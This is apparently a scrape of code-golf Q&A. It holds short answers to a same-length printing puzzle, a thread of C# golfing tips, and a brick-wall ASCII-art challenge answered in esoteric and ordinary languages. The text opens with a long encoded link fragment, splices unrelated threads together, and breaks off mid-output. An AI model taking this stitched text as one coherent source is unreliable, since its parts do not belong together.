ZFJo8vTg8O2769@2Tn49@2Z4bOq9SRoV@5uKt2qa3x9fvKCxjHNSGWZT9s9VqF5R7b25xM7mEoKB95Ym47iBDBLerQvXMc@UK/NVhls0kunWKReFrZIlnQCI7TKJGM3erGaX/u5E2iF2ukv5QRtQLOFclTMboOD/dppOOyrxULlxUcm6AjgVWoEoZGL9Gm6PDXbqfqLzGIz7rFPmq7gDQajHMSZhfBZCCsGJDoZWpyIB/UTfZcUhOr68XSxSmLmpM/Cir5VbP3LI@XmPTDNvNsxM0cbsT7URgrZcpKltmuoyz4US8T@YnG2YjGX4w8HHUxeLsQg0eD2@HHieB@EErsCreiuSf8VfSoaPkRGjhrfIALy5@OHT504wUDUdUxyWdXzQpy8eOwA4Oj45dNgMsuOopUNbrod5OAqXbhpn1AIYXKmGSHAG5@4lMtYFsThhbcOKYyfUTEAx3iMuRlBVEpzUeSOaL9d2gEhKJlUKQZqSCS5TPCRldGc7wMxG/wQcMfkXYaGyDqwhw1UEIEBCsQODNMy75JRUL3vAWsjyEZXhCkGNZplj7aJe83LCn6owgw6KkrtY@BwWruvOIePZvOv9McO/CvkRkKBVcHQblym0iXaX9rKLO4Q1cppkfJTMbJv2EzuC6C5HW1yIU87FNgfeqNFWeHDqA8R6h2I90TpiNpCEjJS9SJLMnZWVbyt/BF7PvKtmUNKkWGOuAYPRAPEXLBfLOLONhd1O3qFeAawK5qJUQjwGvrf7C43L7sIWLckMTJ@iU9DDQci62OABHJoHesM1YGkVXjYMsl5AvRCeWEBySTfoobWIatTgBMw3m5aKxsqT38CT@A/o4/C0b/i5Vdt1ug1sYSbbAJ5shAesktZ5MeC/WkPZKDYEss58sgJ1TqkvtrEGcVWExuNdXnWWG@lQiV5Qd2hvFyhYPwybwkAn9D7mupBJeaeCqgksL3GYSbUvlTBZs8wdkLlFsnBWsYAHQ9x8kDSxnzXqWLdLV6h@H6ET0edeUb/dUmZtv3YKsMeGN87UUcsN81dloXZfxwQ2e9Kebxub2G@Mip62m9IppFXM3BiBxi6KrrtV1yeurYiG@wFTyn2hHPtkOjNinwiFw5gMAkWGz5sjOgpL9ZDd6aBXscnVd9TFoWt16VnKVCL96m/4b7iPLX3dXiHkVJvYwMJ6FW/gwdngQWx/EwvzBtccwgSmEhKAUmVTIg2sK7gMImjU75M@SRRV1vV4EIyWtSTx5ofEvGkmZvuHQtvNQn8nNmsOiSsGjfmmlyNJu2A9YP2BZpmwQP0AjmN/AEdxYIL9n0TvQRatYYMAobTuUI14inIi2h97kmufU1fjBMR/e/1A0CS5AlcJysNYieA73izu4jy2CpYtoNVO0jLJ2EP4CLyx6QLurmV8G@cgs1xkcVYmIV424MAv2EPM7sL7GIBSEcJLNg@zFYTP42scRe9ukHGggpgoVmmJPy7Q4jovKkjfxKgl1ygz5TRkTT3qexnpvWyIhu3VUB7d48MUS@gjeJ1N03jKriuzr7WWJ/wm@jdjkcqZMSrr99U7J3hLQh3D9GfdeexRsK7VR0x6tbwY1LPiPjMP/555DFB0KH@Q6zIB2Ge1fpIGXWZkQ9ThCUlVmX1RLhC7FUBRMpqlMRxKDK3FdDFk83geLTHMMja@3v9/XRn/Ca6MlStbDb4E0hfpyv7L7ItVG0zG6X1WA/ga4as6u9VkZ/Wi3VOZx1SgzetW6Q99aaoN@6akTCVa/ut/Iy9zkKFGy4@soYmudcPr2KDKuvXpn77vqBa4uvAgrlW79OhUSBjUOAlq0kaaRAlE9HpaTJj8O7gnfh0z@9Gad6yhxTmuN/cINeT3/eGOQct7cbMIjEasZxagzatUJu8nrj4LO7W@90IQvaZ0tF7y/KaSt8N1H@Br6V0a/A8NERqGT9yKSN8RdDtk9kY@eIir9gbYJFGDIOJfTNKDED15EmD1aTwLIUmCZ6oRTTKYTKb0W1MYlVCmrO3IwtYURzh74bKLynQNhG5Q/t4wD5MMe1oW5reRS0odB77fc/xVi66h@P87tkfW1G97z9//DQ "C (gcc) – Try It Online") Prints `OO<newline>`. Whitespace is ignored, `O` is monadic output function which prints the string `"OO"` without quotes and a trailing newline, and the last `O` is ignored because the parsing ends at `O"OO"`. # [Knight](https://github.com/knight-lang/knight-lang), 7 bytes ``` O-1 2- ``` [Try it online!](https://tio.run/##rVltU9tIEv5s/4rBKSyNLSeS4Kq2bGSKZCFFHYEsJLcfwBeELIPqZNknybAcIX89193zopEtcpe75YPlGT3d0/1MT3ePiQa3UfT9VZJF6Woa7xXlNFm8vhu3zZk0ualNReXjMl4D5Ul2W5sqk7nATONZksUsTVm6yG7po61nP51@/sC8anjx6Zz51fBvB@dstxoenb5jv1TD88/Mq8BHJxcG9vTziQH9fPrh4OKvdsGZjR9d9s37C9dvDy5gWfEyugtz1uOVgIkCW7WK8ZjtVu9OD3/Hlxm8JI@@Mvy@t7eGwWUIg24CJk05AmuYt2dnJwTCj31ycoi@GYacvxcAkDdsvQ/TVcz5ZTbh7Tb5AbtyOQnOO4dnR/b39tnAY/7gO4dRZyQAPUDE4ZwFCB2126BvGeZFbHP21G4lWcmSUbsFs6TbYb3ZKotghoQjGJfzpVMss0t/Ejy5jvsMOloJqCM8PF2cePMG1SdL9nCXlHGxDKO43YLvaWzDPIjbwgyHda7Kq@xqdpWzp@fLic2HrzqcTGklM2ZrawNmvbI4EyrU7BbMXmUw3e@LGbCzFadFbE48C3Oiuzj6B5stcpat5jdxXkh7mJ0U0@Q2KZVWWB3d8RztkXj2mOeyPutJy/t9zgbMci1YAi1NOMvjcpVnTEWDEKOAGK3bcB/mSXiTxsoKMCJdPMS5HcF6yhD29StTxkU0ioiILxaX9CQNrieB58AeBXp6zTo8XzIOAZJNV0sbt5RJTgcMRpsGi9NeCG3CjCvLqmzqWGLTQBg80EYxUALZAb6DZcuwKFl5F4OyMC8BLDegpxjFDY04eqKMNQ7Ni8bCp8dpo1sVGWQ@hm6ZLDIwGyPWnYBpkWKkWC2XSDhXUaVmTPrN@APaDbJRhwrlZQZxDJkKI1daLlj5ZOnjLCaOcAKz1hCzFZqpgowSnXDVRrvR1DBNF5G96zoeRwdxWjtBDmarNA3zR9PRan/Oje35aGnLaEEpv8rWpGkJD5eQSaHJ04PDt@@uf9s6@fXsm@GxqfcmaVTsbyreqml@f3zxgsYyzkllmE3ZP1ehGqLae3OJnc0lBAPvLU3GcQMZJLxbF65jnilX5qsMt2gk022vXBS2SpZ0AiC2yyRi9PZmNbv0dyfSDrHTXcoP2oBiCeeqnNkABf@303TaUYmHyo2DStYVwKnQCkQhE@vXcHvM26n7ic5jMO6zTpmv4g4EoZ7HmIT5WQgpBF90MLQ6FQnoJ/ouKw7R8eXtYpHCm5s6Ay/6Wrn1I4d6P@@RaebNhpkp2pj9qTZC0JaLNLVNUx3mOlAi/geTsw2TsQx/OPh46mAxFoEGw@NLz3VdCCdwBYZqVCT/ir@UDB8jI0YNb5EBGDn44dPnTuCpmo4pDss6PujTF48dABwdnxz22Ayy46ilQ1uuh3k4CpdOGmfUAhhcqYZIcAbn7iUy1gWxOGFtw4pjJ9RMQDHeIy5GUFUSfKnzRjRfru0AkZRMqhSCNCUTXKZ4SMrozu4BMxv9E3DE5F@Ehco6sIYMVxGAAAnFDgzSMO@SU1K97AFrIctHVIYrBDWaZY61i3rNywl/qsIMOihK7mLhc1i4rjuHjGfzrvvHDP8q5EdAglbB0W1cptAm2l3ayy7uENbIaZLxUTKzbdpP7AiiuxxtcSBOORfbHLijRlvhwakPEOsdivVE64jZQBIyUvYiSTJ3Vla@rfwReP3mXfUGJU2KNeYaMBgNEH/BcrGMM9tY2OnkHeoVwKpgLkolxGPgu7u/0LzsLmzRkszA9Ck6BT0chKyDDR7AoXmgEa4BS6vwsmGS9QPqhfDEApJLukEPrUVUo4ZewHyzaalorDz5DTyJ/4A@Dk/7hp9btV2n28AWZrIN4MlGeMAqaZ0XA/6rNZSNYkMg68wnK1DnlPpiG2sQV0VoPN7lVWe5kQ6V6AV1h/Z2gYL1w7ApDHRC72OuC5mUdyqoeoHlJQ4zqfalEiZrlrkDMrdIFs4qFvBgiJsPkib2s0Yd63bpCjUYIHQi@twr6rdbyqzt170C7LFhxJk6arlh/qos1O7rmMBmT9rzbWMTB41R0dd2UzqFtIqZGyPQ2EXRdbfq@sS1FdFwP2BKuS@UY59MZ0bsE6FwGpNBoMjweXNER2GpHrI79foVm1x9R10culaHnqVMJdKvwYb/hvvY0tftFUK9ahMbWFiv4g089DZ4ENvfxMK8wbUeYQJTCQlAqbIpkQbWFVwGETQaDEifJIoq63o8CEbLWpJ480Ni3jQTs/1Doe1mob8TmzWHxBWD5nzTy5GkXbAesIGnWSYsUO/BcRx4cBQ9E@z/JHoPsmgNGwQIpXWHasZVlBPR/tiVXPucuppeQPy31w8EvSRX4CpBeRgrEXzHm8VdnMdWwbIFtNpJWiYZewgfgTc2XcDdtYxv4xxklosszsokxMsGHPgFe4jZXXgfA1AqQnjJ5mG2gvB5fI2z6N0NMg5UEBPFKi3xxwVaXOdFBRmYGLXkGmWmnIasqUd9LyPdlw3RsL0ayqV7fJhiCX0Er7NpGk/ZdWX2tdbyhN9E/2YsUjkzRmWDgRpzgrcktGeY/qw7jz0K1rX6iEmvlheDelbcZ@bh3zOPAYoO5Q9yXSYA@6zWT9Kkw4xsiDpcIakqsy/KBWK3AihKRrM0hkOJobWYLoZsHs@jJYZZxsbX@/@vK@M/wZWxcmWrwZdA@iJd2X@ZfbFqg8n4ep/VAL5G@KrObjXZWQ20eyrzmAq0ed0q/aEvTbVh35SUqUTLf/1v5GUOMtRo@ZE1NNG1bngdG1RZt/76p@87qgWuLjyIa9UuPToVEgY1ToKatJEmUQIR/b4WEyb/Du6JX8fMfrTmHWtocY7rzT1CDfl9f7hj0PJe3CwCoxHrmwVo8yqVyfuJo8/CTq3vvRBErykdrZc8v6nk7XDdB/haepcm/0NDhIbhE7ci0ncE3Q6ZvZEPHuKqfQ@bJGoQRPyLl/QgRF@eBFh9Gs9CSJLgmWpEkwxeJlP6rSmMSihT1nZkYWuKM5y9cNlFZboGQjcof2@Yh0mGPS0L89vIIaW9Hny/5/irFl1D8f87tkvW1G97z9//DQ "C (gcc) – Try It Online") Prints `-1<newline>`. [Answer] # [CJam](https://sourceforge.net/p/cjam), 7 bytes ``` '@'' _@ ``` [Try it online!](https://tio.run/##S85KzP3/X91BXV0h3uH/fwA "CJam – Try It Online") [Answer] # [Befunge-93](https://github.com/catseye/Befunge-93), 7 bytes ``` .", @0 ``` [Try it online!](https://tio.run/##S0pNK81LT/3/X09JR0HBweD/fwA "Befunge-93 – Try It Online") ## Explanation Output is `0 .` ``` . pop value (0) from stack, output as number with a trailing space " toggle string mode, wraps around and pushes every char to the stack , pop value (".") from stack, output as character spaces are no-ops @ end the program 0 trailing 0 to match the output ``` [Answer] # [Brain-Flak](https://github.com/Flakheads/BrainHack), 11 bytes ``` (((()))) ``` [Try it online!](https://tio.run/##SypKzMzLSEzO/v@fUQMIGDWBgPH///@6jgA "Brain-Flak (BrainHack) – Try It Online") ## Explanation We need to put 3 things on the stack. The fastest way to do that is to put 3 1s (or zeros) on the stack. Now since `` (code point 1) does nothing in Brain-Flak we can add these to the program at the first middle and last places. Now this feels a bit cheaty so here are two more answers that are less cheaty in my opinion. # Prints braces, 31 bytes ``` ( (((((()()()()()){}){}){}))()) ``` [Try it online!](https://tio.run/##SypKzMzLSEzO/v9fQ0EDDDRhULO6FopAnP///@s6AgA "Brain-Flak (BrainHack) – Try It Online") This answer prints braces so that the characters printed are actually relevant to the code, it does have one padding character to make the length odd so we only have to print 1 middle character. # Contains only braces, 32 bytes ``` (((()((((()(()()){}){}){}){})))) ``` [Try it online!](https://tio.run/##SypKzMzLSEzO/v9fAwg0NaCkpoamZnUtAgHB////dR0B "Brain-Flak (BrainHack) – Try It Online") This is a braces only program both the source and (consequently) the output are made up entirely of braces (character Brain-Flak actually cares about). [Answer] # [APL (Dyalog Unicode)](https://www.dyalog.com/), ~~5~~ 4 bytes Full programs. Boring solution from J.Sallé: ``` 1231 ``` Prints that number. A much more interesting solution: ``` 010E1 ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT///qKO94L@BoYGrIYj5XwEMCgA "APL (Dyalog Unicode) – Try It Online") APL ignores leading zeros, so this is simply scaled format for 10×10¹=100. [Answer] # Python 3, 19 bytes 13 bytes ``` print( ')(') ``` The print function appends a newline by default so the code starts with a newline. The last character of the code is a ")" so that's printed first. To make the number of characters uneven, a space in inserted before the argument of the print function. Please excuse the salaciousness of the code. Outputs: `)(\n` [Try it online.](https://tio.run/##K6gsycjPM9YtqCyo/P@fq6AoM69EQ0FdU0Nd8/9/AA) [Answer] # [33](https://github.com/TheOnlyMrCat/33), 9 bytes ``` a"a\\a"pa ``` The a's do nothing here, they're essentially NOPs in this code to make it shorter. My original thought was `"p\\\""p`, but that's 8 bytes, so it needs to print another `\`, making it 10 bytes `"p\\\\\""p` This is a language I did create, but I made it legitimately, so I hope it's within the rules. [Answer] # [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), ~~31~~ 29 bytes ``` [S aS S T S S S S S N _Push_32][S N S _Duplicate_32][S N S _Duplicate_32][T N S S _Print_as_character][T N S S _Print_as_character][T N S S _Print_as_character] ``` -2 bytes thanks to *@RobinRyder*. Letters `S` (space), `T` (tab), and `N` (new-line) added as highlighting only. `[..._some_action]` added as explanation only. [Try it online](https://tio.run/##K8/ILEktLkhMTv3/XyFRQYFTAQS4gBCIOIEkDP//DwA) (with raw spaces, tabs, and new-lines only). Contains a no-op `a` (can be any non-whitespace character) to make the length odd. It is added before the first halve of the program so the middle character is a space as well, since the middle character would have become a newline if it was at the second halve of the program. All non-whitespace characters are ignored in Whitespace programs. ]
[Question] [ What general tips do you have for golfing in C#? I'm looking for ideas that can be applied to code golf problems in general that are at least somewhat specific to C# (e.g. "remove comments" is not an answer). Please post one tip per answer. -- borrowed from marcog's idea ;) [Answer] Instead of using `.ToString()` use `+""` for numerics and other types that can be natively cast to a string safely. ``` .ToString() <-- 11 chars +"" <-- 3 chars ``` [Answer] I once deliberately placed my program in `namespace System` so I can shorten access to a specific class. Compare ``` using System;using M=System.Math; ``` to ``` namespace System{using M=Math; ``` [Answer] If using LINQ you can pass a method directly to `Select` instead of making a lambda. So, instead of ``` foo.Select(x=>int.Parse(x)) ``` you can use ``` foo.Select(int.Parse) ``` directly. (Discovered recently when improving on one of [Timwi's C# answers](https://codegolf.stackexchange.com/questions/1159/numbers-sums-products/1181#1181).) [Answer] Use `var` for declaring and initializing (single) variables to save characters on the type: ``` string x="abc"; ``` becomes ``` var x="abc"; ``` Isn't particulaly necessary for `int`, of course. [Answer] Remember that the smallest compilable program in C# is 29 characters: ``` class P { static void Main() { } } ``` So start by removing that from your length and judge your answer on how much over that it takes. C# cannot compete with other languages when it comes to printing or reading input, which is the heart of most `[code-golf]` problems, so don't worry about that. As a C# golfer, you're really competing against the language. A few other things to keep in mind: * Reduce all loops and `if` statements to a single line if possible in order to remove the brackets. * If given the option between stdin and command line, always use command line! [Answer] Instead of ``` bool a = true; bool b = false; ``` do ``` var a=0<1; var b=1<0; ``` If you need multiple variables, use this (suggested by [@VisualMelon](https://codegolf.stackexchange.com/users/26981/visualmelon)) ``` bool a=0<1,b=!a; ``` [Answer] When reading each character of a command line argument, rather than looping up to the string's length: ``` static void Main(string[]a){ for(int i=0;i<a[0].Length;)Console.Write(a[0][i++]); } ``` You can save a character by using a try/catch block to find the end: ``` static void Main(string[]a){ try{for(int i=0;;)Console.Write(a[0][i++]);}catch{} } ``` This applies to any array within an array such as: * `string[]` * `int[][]` * `IList<IList<T>>` [Answer] If you need to use `Console.ReadLine()` multiple times in your code (min 3 times), you could do: ``` Func<string>r=Console.ReadLine; ``` and then just use ``` r() ``` instead [Answer] Favor the ternary operator over `if`..`else` blocks where appropriate. For example: ``` if(i<1) j=1; else j=0; ``` is more efficiently: ``` j=i<1?1:0; ``` [Answer] ## Effective use of using You can [replace](https://codegolf.stackexchange.com/questions/26962/linear-function-solver-from-two-points-x-y/26976#26976) `float` (which is an alias for `System.Single`) with `z` using `z=System.Single;` Then replace `z=System.Single;` with `z=Single;` by placing the program in the namespace `System`. (As with Joey's answer) This can be applied for other value types (use what they are an alias for), structs and classes [Answer] # LINQ Instead of using: ``` Enumerable.Range(0,y).Select(i=>f(i)) ``` to get an Enumerable with the result of function `f` for every `int` in `[0,y]` you can use ``` new int[y].Select((_,i)=>f(i)) ``` if you need `string` or anything that implements `Enumerable` in your program you can use them too ``` var s="I need this anyway"; s.Select((_,i)=>f(i)) ``` [Answer] In C#, we are not allowed to do `if(n%2)` to check if `n` is a even number. If we do, we get a `cannot implicity convert int to bool`. A naive handling would be to do: ``` if(n%2==0) ``` A better way is to use: ``` if(n%2<1) ``` I used this to gain one byte [here](https://codegolf.stackexchange.com/a/84369/15214). note that this only works for positive numbers, as `-1%2==-1`, it is considered even with this method. [Answer] # Use lambdas to define a function in C# 6 In C# 6, you can use a lambda to define a function: ``` int s(int a,int b)=>a+b; ``` This is shorter than defining a function like this: ``` int s(int a,int b){return a+b;} ``` [Answer] Looping: Variable declarations: ``` int max; for(int i=1;i<max;i++){ } ``` become: ``` int max,i=1; for(;i<max;i++){ } ``` And if you have a need to or work with the i variable only once, you could start at -1 (or 0 depending on the loop circumstance) and increment inline: ``` int max,i=1; for(;i<max;i++){ Console.WriteLine(i); } ``` to ``` int max,i=1; for(;i<max;){ Console.WriteLine(++i); } ``` And that reduces by one character, and slightly obfuscates the code as well. Only do that to the FIRST `i` reference, like thus: (granted one character optimizations aren't much, but they can help) ``` int max,i=1; for(;i<max;i++){ Console.WriteLine(i + " " + i); } ``` to ``` int max,i=1; for(;i<max;){ Console.WriteLine(++i + " " + i); } ``` --- when the loop does not have to increment `i` (reverse order loop): ``` for(int i=MAX;--i>0;){ Console.WriteLine(i); } ``` [Answer] If you need to use a generic `Dictionary<TKey, TValue>` at least two times in your code, you could declare a dictionary class, like in this example: ``` class D:Dictionary<int,string>{} ``` and then just use ``` D d=new D{{1,"something"},{2,"something else"}}; ``` instead of repeating `Dictionary<int,string>` for every instantiation. I have used this technique in [this answer](https://codegolf.stackexchange.com/a/5509/3527) [Answer] For one-line lambda expressions, you can skip the brackets and semicolon. For one-parameter expressions, you can skip the parentheses. Instead of ``` SomeCall((x)=>{DoSomething();}); ``` Use ``` SomeCall(x=>DoSomething); ``` [Answer] You can use `float` and `double` literals to save a few bytes. ``` var x=2.0; var y=2d; // saves 1 byte ``` When you need some `int` arithmetic to return a `float` or `double` you can use the literals to force the conversion. ``` ((float)a+b)/2; // this is no good (a+b)/2.0; // better (a+b)/2f; // best ``` If you ever run into a situation where you have to to cast you can save a few bytes by using multiplication instead. ``` ((double)x-y)/(x*y); (x*1d-y)/(x*y); // saves 5 bytes ``` [Answer] Remember where private or public are inherent, such as the following: ``` class Default{static void Main() ``` as compared to ``` public class Default { public static void Main() ``` [Answer] There are circumstances when an output parameter can save characters. Here's a *slightly* contrived example, a 10 pin bowling score algorithm. With a return statement: ``` ........10........20........30........40........50........60........70........80........90.......100.......110.......120.......130.......140.......150.. public double c(int[]b){int n,v,i=0,X=10;double t=0;while(i<19){n=b[i]+b[i+1];v=b[i+2];t+=(n<X)?n:X+v;if(b[i]>9)t+=b[i+(i>16|v!=X?3:4)];i+=2;}return t;} ``` And with an output parameter: ``` ........10........20........30........40........50........60........70........80........90.......100.......110.......120.......130.......140....... public void d(int[]b,out double t){int n,v,i=0,X=10;t=0;while(i<19){n=b[i]+b[i+1];v=b[i+2];t+=(n<X)?n:X+v;if(b[i]>9)t+=b[i+(i>16|v!=X?3:4)];i+=2;}} ``` The output parameter here saves a total of 5 characters. [Answer] # Avoid single-statement `foreach` loops If the loop's statement returns a non-`int` (including `void`!) "value", it can be replaced with LINQ: ``` foreach(var x in a)Console.WriteLine(F(x)); a.Any(x=>Console.WriteLine(F(x))is int); ``` If the value happens to be an `int`, you can use a condition that will always be true or always be false (for example, `>0` or `<n`), a different type and/or `All` instead of `Any`. [Answer] # Use `dynamic` to group declarations `dynamic` is a forgotten feature that literally performs dynamic typing in C#! It has limitations (doesn't support extension methods, is bad at inferring that you want to use it, ...), but can often save bytes by merging declarations of incompatible types. Compare the following: ``` var a=[something of type IEnumerable<int>];var b=[something of type string];int i=x+~y^z dynamic a=[something of type IEnumerable<int>],b=[something of type string],i=x+~y^z ``` That's 4 bytes of savings! [Answer] # Use the weird kind of the `is` operator `a is var b` *always* defines the variable `b` equal to `a` and returns `true`. It is unclear how have the humans who design C# come up with this (inline variable declarations that return `true` for some reason seem to be beyond Javascript to me), but it works. It can sometimes be used to shorten code (this is an oversimplified example; savings can often be smaller or zero): ``` a=>{var b=f(a);return g(b,b);} a=>g(f(a)is var b?b:b,b) ``` [Answer] ## String Interpolation A really simple space-saving improvement is interpolation. Instead of: ``` string.Format("The value is ({0})", (method >> 4) + 8) ``` just use `$` to inline expressions: ``` $"The value is ({(method >> 4) + 8})" ``` This, together with the new expression bodies in C#6.0 should make any simple string-calculation challenge pretty golfable in C#. [Answer] If you need to include multiple `using`s that all fall off of the same hierarchy it is often shorter to use the longest one as the `namespace`: ``` using System; using System.Linq; //Some code ``` vs: ``` namespace System.Linq { //Some code } ``` [Answer] The [`Compute`](https://docs.microsoft.com/en-us/dotnet/api/system.data.datatable.compute?view=netframework-4.7.1#System_Data_DataTable_Compute_System_String_System_String_) instance method of `System.Data.DataTable`, allows to evaluate a simple string expression, e.g. : # [C# (Visual C# Compiler)](http://www.mono-project.com/docs/about-mono/releases/5.0.0/#csc), 166 bytes ``` namespace System.Data { class P { static void Main() { Console.Write(new DataTable().Compute("30*2+50*5/4","")); } } } ``` [Try it online!](https://tio.run/##RYw/C8IwFMT3fIqQKakai9qpY10FQcH5Gd8QyJ/ii4pIP3tsLNTfcBx3xxlaGTI5B/BIPRjkpzcl9HoPCdiH8RHjgIgff35KCpQgWcOf0d74AWyQaq7@o0IXA0WH@nK3CWXAFy/fZ7g6lEp30fePMRfbutosmrpq1juxFEKpdn4Z2KRDzl8 "C# (Visual C# Compiler) – Try It Online") Not very "golfy" per se, but sometimes might be useful. [Answer] # Swapping two variables Normally, to swap two variables, you have to declare a temporary variable to store the value. It would look like something along the lines of this: ``` var c=a;a=b;b=c; ``` That's 16 bytes! There are some other methods of swapping that are better. ``` //Using tuples (a,b)=(b,a); //Bitwise xoring a=a^b^(b=a); //Addition and subtraction a=a+b-(b=a); //Multiplication and division a=a*b/(b=a); ``` The last three only work for numeric values, and as ASCII-only pointed out, the last two might result in an ArithmeticOverflow exception. All of the above are 12 bytes, a 4 byte saving compared to the first example. [Answer] Use C# lambda. Since PPCG allows lambda for input/output we should use them. A classic C# methods looks like this: ``` bool Has(string s, char c) { return s.Contains(c); } ``` As a lambda, we will write ``` Func<string, char, bool> Has = (s, c) => s.Contains(c); ``` Anonymous lambda are allowed too: ``` (s, c) => s.Contains(c) ``` Remove all the noise and focus! Update: We can improve one step more with [currying](http://www.c-sharpcorner.com/uploadfile/rmcochran/functional-programming-in-C-Sharp-currying/) as @TheLethalCoder comment: ``` s => c => s.Contains(c); ``` Example of curring by @Felix Palmen: [How compute WPA key?](https://codegolf.stackexchange.com/a/145763/15214) It will be helpful when you have exactly 2 parameters, then a empty unused variable `_` will be better. See [meta post about this](https://codegolf.meta.stackexchange.com/q/12681/15214). I use this trick [here](https://codegolf.stackexchange.com/a/153236/15214). You will have to change a bit the function. Example: [Try it online!](https://tio.run/##XY7BSgMxFEX3@YrHbJoQDbqUNKUyC6FYKszCpcTXqK/GxCavBSnz7WN0U3F5L/dyDtZLzCVMh0rpFYavyuHDir/J9DnGgEw5VXMXUiiE/xb3lPZWYPS1wsNJAFT2TAi3v6/55nnX/gsY2FPpfQ3gYHpyi9PRF2DXdfYlF4lvLaGbLWdWa5zfXFvWDlXfsDkG81iIQwMFWbk0tlllShJ1112wGd7pU14ppVHZcbLirHDMtIW1b1MFP2ZwtpDpEKOyrRzFOH0D "C# (.NET Core) – Try It Online") [Answer] # Use .NET 6 Top Level Statements, File-Scoped Namespaces, and target-typed new() Upgrade to .net 6 and you can use single file programs with no boilerplate. You can also use file-scoped namespaces like so: `namespace whatever;` Also, when you instantiate an object, if it's type can be inferred by the compiler, you can use a target-typed `new()` constructor. e.g., ``` class C {} C c=new(); ``` See (<https://docs.microsoft.com/en-us/dotnet/csharp/whats-new/tutorials/top-level-statements>) See Also (<https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/proposals/csharp-10.0/file-scoped-namespaces>) [Answer] Make classnames only one letter. Enhancing on [Tips for code-golfing in C#](https://codegolf.stackexchange.com/questions/173/tips-for-code-golfing-in-c/175#175) we go from ``` class Default{static void Main() ``` to ``` class D{static void Main() ``` which knocks out another 6 chars in this case. [Answer] Using LinqPad will give you the possibility to remove all the program overhead as you can execute statements directly. (And it should be fully legal in codegolf... No one says you need an .exe) Output is done using the `.Dump()` extension method. ]
[Question] [ ## Challenge I need help building a brick wall! Throw together some code for me using no input and produce the following output wall shown below: ``` _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ ``` Now, this wall is exactly `10` characters high and `70` characters wide. As stated above, no inputs, only code. Least amount of bytes, we have to efficiently build this brick wall. Obviously, this program has to function to get the wall built..? or it obviously won't build itself! Good luck! --- ## Winner The winner goes to **Marinus** using the `APL` language, requiring a whole `12` bytes! <https://codegolf.stackexchange.com/a/99028/61857> --- Thank you everyone for participating! [Answer] ## [Trumpscript](https://github.com/samshadwell/TrumpScript), ~~303~~ ~~285~~ ~~244~~ ~~231~~ 226 bytes ``` make i 1000005-1000000 as long as,i;: make i,i - fact; say "_|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|" say "___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__"! America is great ``` I would like to say this is one of the most verbose languages where almost everything fails to compile into a working program. Apparently whether `-` works instead of `minus` is completely up to the interpreter and sometimes works. This time it did so I'm putting it in as golfed. Abuses the fact Trumpscript is written in Python and therefore `fact` when used as an integer is one. Golfing tips welcome. [Answer] # APL, 12 bytes ``` 10 70⍴'_|__' ``` Output: ``` 10 70⍴'_|__' _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ ``` [Answer] # J, 12 bytes ``` 10 70$'_|__' ``` Shapes the string on the right into a 10 by 70 shape. Simple! [Answer] # BBC BASIC, 28 bytes Tokenised filesize 23 bytes. ``` WIDTH70P.STRING$(175,"_|__") ``` `WIDTH70` would normally be followed by a newline. It sets the field width to 70. Then we just print 175 copies of the string, which wrap around. [Answer] # Brainfuck, 171 bytes ``` +++++[>+++++++++++++++++++<-]+++++++[>>++++++++++++++++++<<-]>>--<<++[>>>+++++<<<-]+++++[>.>.>>+++++++++++++++++[<<<...>.>>-]<.>+++++++++++++++++[<<<...>.>>-]<<<..>>.<<<-] ``` Brainfuck is fun, here is my submission. Here is the output: ``` _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ ``` Here is a link to try it <https://repl.it/EW2Z/0> [Answer] # WinDbg, 45 bytes ``` f2000000 L2bc 5f 7c 5f 5f;da/c46 2000000 L2bc ``` How it works: ``` f 2000000 L2bc 5f 7c 5f 5f; *Repeat the pattern _|__ (5F 7C 5F 5F) to fill 2BC (700) bytes *starting at 2000000 da /c46 2000000 L2bc *Show 2BC (700) ASCII chars starting from 2000000 in lines *of length 0x46 (70) ``` Output: ``` 0:000> f2000000 L2bc 5f 7c 5f 5f;da/c46 2000000 L2bc Filled 0x2bc bytes 02000000 "_|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|" 02000046 "___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__" 0200008c 